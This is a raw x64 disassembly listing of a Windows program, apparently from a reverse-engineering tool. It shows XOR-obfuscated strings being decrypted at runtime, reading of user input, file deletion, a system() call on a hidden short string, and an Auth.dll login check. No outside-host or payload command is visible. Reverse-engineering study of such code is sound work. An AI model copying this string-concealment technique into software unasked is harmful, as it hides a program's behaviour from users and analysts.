mov word [rsp + 0x38], ax
lea rdx, [rsp + 0x38]
cmp byte [0x1400774fd], 0
je 0x14001fa6c
mov byte [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_45
xor byte [rsp + 0x39], 0x35
call fcn.140023630
mov cl, 7
call fcn.14001d350
movzx eax, word [0x140076f40]
mov word [rbp + 0x1a0], ax
movzx eax, byte [0x140076f42]
movups xmm0, xmmword [0x140076f30]
mov byte [rbp + 0x1a2], al
movups xmmword [rbp + 0x190], xmm0
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ecx, esi
mov edi, 5
lea r14d, [rdi + 0x1a]
cmp r13d, 2
jl 0x14001fc08
movdqa xmm5, xmmword [0x1400775b0]
movdqa xmm4, xmmword [0x140077600]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400775d0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x194]
mov r8d, dword [rbp + 0x1b0]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14001fb00
cmp ecx, 0x13
jge 0x14001fc4e
movsxd rax, ecx
lea r8, [rbp + 0x190]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x14001fc20
lea rdx, [rbp + 0x190]
mov rcx, r9
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov rax, qword [str.RT____]
mov qword [rbp + 0x160], rax
cmp byte [str._8z_a_], 0
je 0x14001fde3
cmp r13d, 2
jl 0x14001fd9a
movdqa xmm4, xmmword [0x140077600]
movd xmm6, edi
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400775b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x160]
xorps xmm2, xmm1
movd dword [rbp + 0x160], xmm2
movdqa xmm3, xmmword [0x1400775c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
jmp 0x14001fde3
lea r9, [rbp + 0x160]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14001fdb0
lea rdx, [rbp + 0x160]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov byte [rbp + 0x18], 0xa3
mov byte [rbp + 0x19], 0xd5
mov byte [rbp + 0x1a], 0xb3
mov byte [rbp + 0x1b], 0xdd
mov byte [rbp + 0x1c], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x1d], 0x80
mov byte [rbp + 0x1e], 0x93
mov byte [rbp + 0x1f], __WSAFDIsSet
mov byte [rbp + 0x20], 0x89
mov byte [rbp + 0x21], 0xbf
mov byte [rbp + 0x22], 0x87
mov byte [rbp + 0x23], 0x80
mov byte [rbp + 0x24], 0x87
mov byte [rbp + 0x25], Ordinal_143
mov byte [rbp + 0x26], 0x8b
mov byte [rbp + 0x27], 0xc9
mov byte [rbp + 0x28], 0xc9
mov byte [rbp + 0x29], 0x92
mov byte [rbp + 0x2a], 0x92
mov byte [rbp + 0x2b], 0xf4
movzx eax, byte [rbp + 0x18]
mov r9, rsi
mov r10, r12
lea rax, [rbp + 0x18]
sub r10, rax
mov r11d, reloc.WS2_32.dll_ntohs
nop dword [rax]
lea rdx, [rbp + 0x18]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r11d
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
mov rax, r12
shr rax, cl
and al, r11b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x18], al
inc r9
cmp r9, 0x14
jb 0x14001fe60
lea rcx, [rbp + 0x18]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x448]
call fcn.140022630
jmp 0x14001f680
call fcn.14001d350
mov eax, dword [0x140076cb4]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x140076cb8]
mov byte [rsp + 0x70], 0xa
xor byte [rsp + 0x71], 0x35
xor byte [rsp + 0x72], 0x36
xor byte [rsp + 0x73], 0x37
xor al, 0x38
mov byte [rsp + 0x74], al
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x140076d40]
mov word [rsp + 0x3c], ax
lea rdx, [rsp + 0x3c]
cmp byte [0x140076d41], 0
je 0x14001ff29
mov byte [rsp + 0x3c], Ordinal_46
xor byte [rsp + 0x3d], 0x35
call fcn.140023630
mov cl, 7
call fcn.14001d350
movzx eax, word [0x140076f40]
mov word [rbp + 0x188], ax
movzx eax, byte [0x140076f42]
movups xmm0, xmmword [0x140076f30]
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x18a], al
movups xmmword [rbp + 0x178], xmm0
mov r9, r8
mov ecx, esi
cmp r13d, 2
jl 0x1400200cd
movdqa xmm5, xmmword [0x1400775b0]
movdqa xmm4, xmmword [0x140077600]
mov edx, 5
movd xmm6, edx
movdqa xmm7, xmmword [0x1400775d0]
mov edx, Ordinal_33
movd xmm8, edx
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x17c]
mov r10d, dword [rbp + 0x1b0]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14001ffc0
cmp ecx, 0x13
jl 0x1400200cd
mov rcx, r8
jmp 0x140020111
movsxd rax, ecx
lea r8, [rbp + 0x178]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x1400200e0
mov rcx, r9
lea rdx, [rbp + 0x178]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
movzx eax, word [0x1400770a8]
mov word [rsp + 0x50], ax
movsd xmm0, qword [str.G_UT_X]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400770aa]
movsd qword [rsp + 0x48], xmm0
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor byte [rsp + 0x50], 0x3c
xor byte [rsp + 0x51], 0x3d
xor al, 0x3e
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x48]
call fcn.140023630
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x5c0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0xd0], 0x43
mov byte [rbp + 0xd1], gethostname
mov byte [rbp + 0xd2], 0x5e
mov byte [rbp + 0xd3], 0x58
mov byte [rbp + 0xd4], 0x62
mov byte [rbp + 0xd5], 0x65
mov byte [rbp + 0xd6], 0x67
mov byte [rbp + 0xd7], 0x63
mov byte [rbp + 0xd8], WSASetLastError
mov byte [rbp + 0xd9], 0x64
mov byte [rbp + 0xda], Ordinal_79
mov byte [rbp + 0xdb], 0x45
mov byte [rbp + 0xdc], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xdd], 0x61
mov byte [rbp + 0xde], 0x61
mov byte [rbp + 0xdf], 0x7e
mov byte [rbp + 0xe0], 0x7d
mov byte [rbp + 0xe1], Ordinal_46
mov byte [rbp + 0xe2], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xe3], 0x43
mov byte [rbp + 0xe4], 0x62
mov byte [rbp + 0xe5], 0x7f
mov byte [rbp + 0xe6], 0x66
mov byte [rbp + 0xe7], 0x7a
mov byte [rbp + 0xe8], 0x44
mov byte [rbp + 0xe9], 0x54
mov byte [rbp + 0xea], 0x46
mov byte [rbp + 0xeb], 0x5f
mov byte [rbp + 0xec], 0x40
mov byte [rbp + 0xed], Ordinal_79
mov byte [rbp + 0xee], 0x41
mov byte [rbp + 0xef], 0x58
mov byte [rbp + 0xf0], 0x41
mov byte [rbp + 0xf1], Ordinal_79
mov byte [rbp + 0xf2], Ordinal_35
movzx eax, byte [rbp + 0xd0]
mov r10, rsi
movabs rbx, 0xc372506c3d674808
mov r11, rbx
lea rax, [rbp + 0xd0]
sub r11, rax
mov r14d, reloc.WS2_32.dll_ntohs
nop dword [rax]
lea r8, [rbp + 0xd0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rdx, rbx
shr rdx, cl
and dl, r14b
lea eax, [r8 + r11]
xor dl, al
xor dl, r9b
mov byte [rbp + r10 + 0xd0], dl
inc r10
cmp r10, 0x23
jb 0x1400202d0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x5c0]
call fcn.1400223c0
lea rcx, [rbp + 0x668]
call fcn.140022300
lea rcx, [rbp + 0x668]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x448]
jmp 0x1400210aa
call fcn.1400175b0
movabs r14, 0x33fa3a2355c97f40
lea rax, [rbp - 0x78]
sub r14, rax
mov qword [rbp + 0x1c8], r14
mov r15, r12
lea rax, [rbp + 0x30]
sub r15, rax
mov qword [rbp + 0x1c0], r15
mov rax, r12
lea rcx, [rbp - 0x48]
sub rax, rcx
mov qword [rbp + 0x1d0], rax
movzx edi, byte [rsp + 0x31]
mov eax, dword [str.WYE7h]
mov dword [rbp + 0x150], eax
cmp byte [0x140076cbf], 0
je 0x1400204a3
cmp r13d, 2
jl 0x140020457
movdqa xmm3, xmmword [0x1400775b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140077600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140077600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov edx, 5
movd xmm0, edx
psrad xmm2, xmm0
mov edx, Ordinal_33
movd xmm0, edx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400775d0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x150], xmm2
jmp 0x1400204a3
lea r9, [rbp + 0x150]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140020470
lea rcx, [rbp + 0x150]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14001d3a0
movzx edx, dil
lea rcx, [rbp + 0x428]
call fcn.140023df0
lea rcx, [rbp + 0x428]
call fcn.140022c00
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov cl, 7
call fcn.14001d350
mov eax, dword [0x140076cb4]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140076cb8]
mov byte [rsp + 0x78], 0xa
xor byte [rsp + 0x79], 0x35
xor byte [rsp + 0x7a], 0x36
xor byte [rsp + 0x7b], 0x37
xor al, 0x38
mov byte [rsp + 0x7c], al
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
movzx eax, word [0x140076d40]
mov word [rsp + 0x44], ax
cmp byte [0x140076d41], 0
je 0x140020546
mov byte [rsp + 0x44], Ordinal_46
xor byte [rsp + 0x45], 0x35
lea rdx, [rsp + 0x44]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov cl, 7
call fcn.14001d350
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x140077258]
movsd qword [rbp + 0x168], xmm0
mov eax, dword [0x140077260]
mov dword [rbp + 0x170], eax
movzx eax, word [0x140077264]
mov word [rbp + 0x174], ax
cmp byte [0x140077265], 0
je 0x140020700
mov ecx, esi
cmp r13d, 2
jl 0x1400206c5
movdqa xmm4, xmmword [0x140077600]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x1400775b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140077258]
xorps xmm2, xmm0
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x1400775c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x168]
add r8, rax
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x1400206d2
lea rdx, [rbp + 0x168]
mov rcx, r9
call fcn.140023630
lea rdx, [rbp + 0x428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140023800
mov r8d, dword [0x140082258]
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x468]
call fcn.140007de0
nop
mov byte [rbp - 0x78], 3
mov byte [rbp - 0x77], 0x7f
mov byte [rbp - 0x76], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x75], 0x7d
mov byte [rbp - 0x74], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x73], 0x24
mov byte [rbp - 0x72], 0x34
mov byte [rbp - 0x71], gethostname
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp - 0x6f], 0x4b
movzx eax, byte [rbp - 0x78]
mov r9, rsi
movabs rbx, 0x33fa3a2355c97f40
mov r11d, reloc.WS2_32.dll_ntohs
nop dword [rax]
lea rdx, [rbp - 0x78]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r11d
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
mov rax, rbx
shr rax, cl
and al, r11b
add dl, r14b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x78], al
inc r9
cmp r9, 0xa
jb 0x140020780
lea rdx, [0x140082218]
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
mov r14d, reloc.WS2_32.dll_ntohs
test eax, eax
je 0x140020866
mov byte [rbp - 0x68], 3
mov byte [rbp - 0x67], 0x7f
mov byte [rbp - 0x66], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x65], 0x7d
mov byte [rbp - 0x64], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x63], 0x24
mov byte [rbp - 0x62], 0x34
mov byte [rbp - 0x61], gethostname
mov byte [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp - 0x5f], 0x4b
movzx eax, byte [rbp - 0x68]
mov r9, rsi
mov r11, rbx
mov r10, rbx
lea rax, [rbp - 0x68]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp - 0x68]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, r11
shr rax, cl
and al, r14b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x68], al
inc r9
cmp r9, 0xa
jb 0x140020820
xor edx, edx
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x30], 0xa3
mov byte [rbp + 0x31], 0xd5
mov byte [rbp + 0x32], 0xb3
mov byte [rbp + 0x33], 0xdd
mov byte [rbp + 0x34], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x35], 0x80
mov byte [rbp + 0x36], 0x93
mov byte [rbp + 0x37], __WSAFDIsSet
mov byte [rbp + 0x38], 0x89
mov byte [rbp + 0x39], 0xbf
mov byte [rbp + 0x3a], 0x87
mov byte [rbp + 0x3b], 0x80
mov byte [rbp + 0x3c], 0x87
mov byte [rbp + 0x3d], Ordinal_143
mov byte [rbp + 0x3e], 0x8b
mov byte [rbp + 0x3f], 0xc9
mov byte [rbp + 0x40], 0xc9
mov byte [rbp + 0x41], 0x92
mov byte [rbp + 0x42], 0x92
mov byte [rbp + 0x43], 0xf4
movzx eax, byte [rbp + 0x30]
mov r9, rsi
lea rdx, [rbp + 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r15b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x30], al
inc r9
cmp r9, 0x14
jb 0x1400208d1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x4b0]
call fcn.1400223c0
nop
cmp qword [rbp + 0x538], 0
je 0x140020957
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x4b0]
call fcn.1400239e0
lea rcx, [rbp + 0x4b0]
call fcn.1400222c0
mov r14d, dword [0x140082258]
mov byte [rbp - 0x48], 0xa3
mov byte [rbp - 0x47], 0xd5
mov byte [rbp - 0x46], 0xb3
mov byte [rbp - 0x45], 0xdd
mov byte [rbp - 0x44], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp - 0x43], 0x80
mov byte [rbp - 0x42], 0x93
mov byte [rbp - 0x41], __WSAFDIsSet
mov byte [rbp - 0x40], 0x89
mov byte [rbp - 0x3f], 0xbf
mov byte [rbp - 0x3e], 0x87
mov byte [rbp - 0x3d], 0x80
mov byte [rbp - 0x3c], 0x87
mov byte [rbp - 0x3b], Ordinal_143
mov byte [rbp - 0x3a], 0x8b
mov byte [rbp - 0x39], 0xc9
mov byte [rbp - 0x38], 0xc9
mov byte [rbp - 0x37], 0x92
mov byte [rbp - 0x36], 0x92
mov byte [rbp - 0x35], 0xf4
movzx eax, byte [rbp - 0x48]
mov r9, rsi
mov rdi, qword [rbp + 0x1d0]
mov ebx, reloc.WS2_32.dll_ntohs
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp - 0x48]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, ebx
cmp rcx, rbx
cmovae rcx, rbx
shl cl, 2
mov rax, r12
shr rax, cl
and al, bl
add dl, dil
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x48], al
inc r9
cmp r9, 0x14
jb 0x1400209d0
movzx edx, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x31]
lea rcx, [rbp + 0x238]
call fcn.140023df0
nop
lea rax, [rbp - 0x48]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020a30
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x238]
call fcn.140023e10
nop
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x358]
call fcn.14001cbc0
nop
mov r8d, r14d
mov rdx, rax
lea rcx, [rbp + 0x488]
call fcn.140007f80
nop
lea rcx, [rbp + 0x358]
call fcn.140022630
nop
lea rcx, [rbp + 0x238]
call fcn.140022630
lea rax, [rbp + 0x378]
mov qword [rbp + 0x200], rax
lea rdx, [0x1400822e8]
lea rcx, [rbp + 0x378]
call fcn.1400226d0
mov r15, rax
lea rax, [rbp + 0x398]
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x398]
call fcn.1400226d0
mov r14, rax
lea rdx, [0x140082308]
lea rcx, [rbp + 0x3b8]
call fcn.1400226d0
nop
mov r9b, 1
mov r8, r15
mov rdx, r14
mov rcx, rax
call qword [sym.imp.Auth.dll_Login]
test rax, rax
jne 0x140020eb5
mov cl, 7
call fcn.14001d350
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov eax, dword [0x140076d14]
mov dword [rbp + 0x14c], eax
cmp byte [0x140076d17], 0
je 0x140020c13
cmp r13d, 2
jl 0x140020bcb
movdqa xmm3, xmmword [0x1400775b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140077600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140077600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov r14d, 5
movd xmm0, r14d
psrad xmm2, xmm0
mov r15d, Ordinal_33
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400775d0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x14c], xmm2
jmp 0x140020c1d
lea r9, [rbp + 0x14c]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140020be0
mov r15d, Ordinal_33
lea r14d, [r15 - 0x1a]
